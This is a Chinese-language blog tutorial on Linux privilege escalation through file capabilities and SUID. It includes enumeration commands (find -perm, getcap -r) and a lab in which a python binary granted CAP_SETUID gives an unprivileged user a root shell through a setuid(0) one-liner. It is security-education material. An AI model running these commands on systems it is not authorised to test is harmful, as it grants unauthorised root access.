setcap设置的文件可控造成的提权
0x01 SUID
能力介绍
Linux中的功能是什么
在获得功能之前,我们只有特权和非特权进程的二进制系统,并且出于执行权限检查的目的,传统的UNIX实现将进程分为两类:特权进程(称为超级用户或根)和非特权进程(其有效UID为非零)。
功能是将内核用户或内核级程序的特权分成小块的那些权限,以便可以使进程有足够的能力执行特定的特权任务。
功能和SUID之间的区别
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件。这被定义为授予用户临时权限,使其在文件所有者(而不是运行文件所有者)的权限下运行程序/文件。使用“查找”命令可以很容易地检测到。要查找在当前目录中设置了SUID的所有文件,我们可以使用-perm选项,该选项将仅打印许可权设置为4000的文件(允许进程临时使用root的权限执行)
给予某个文件拥有临时权限的命令
例子:
chmod u+s /usr/bin/python
使用find命令可以找出SUID文件
find / -perm -u=s -type f 2>/dev/null
0x02 牛刀小试
setcap详解:setcap详解 - 农夫运维 - 博客园
setcap简要说明:
Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制。
getcap:检索setcap所设置的文件
getcap -r / 2>/dev/null
0x03实验
OS:kali
测试用户:root、test
先用root用户给予python SUID
chmod u+s /usr/bin/python
查找一波对应的SUID权限的文件,确定是否给予成功
find / -perm -u=s -type f 2>/dev/null
复制python到/tmp目录下,拟态和文章类似的构造
cp /usr/bin/python
setcap给予tmp目录下的python一个用户临时执行权限
setcap CAP_SETUID+ep /tmp/python
切换至test用户,执行以下命令即可获取一个root权限
getcap -r / 2>/dev/null #查询被赋予权限的文件
./python -c 'import os;os.setuid(0);os.system("/bin/bash")'
0x04结论
getcap -r / 2>/dev/null #查询被赋予CAP_SETUID权限的文件,来获取某些文件是否有利用的价值。目前得出可以利用用的几个
perl
python
tar
0x05参考链接
Hacking Articles - Raj Chandel’s Blog
getcap(8) - Linux manual page
setcap详解 - 农夫运维 - 博客园
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。
文章标题:setcap设置的文件可控造成的提权
本文作者:九世
发布时间:2019-12-01, 22:38:34
最后更新:2019-12-01, 22:39:55
原始链接:http://jiushill.github.io/posts/9dcc308e.html版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。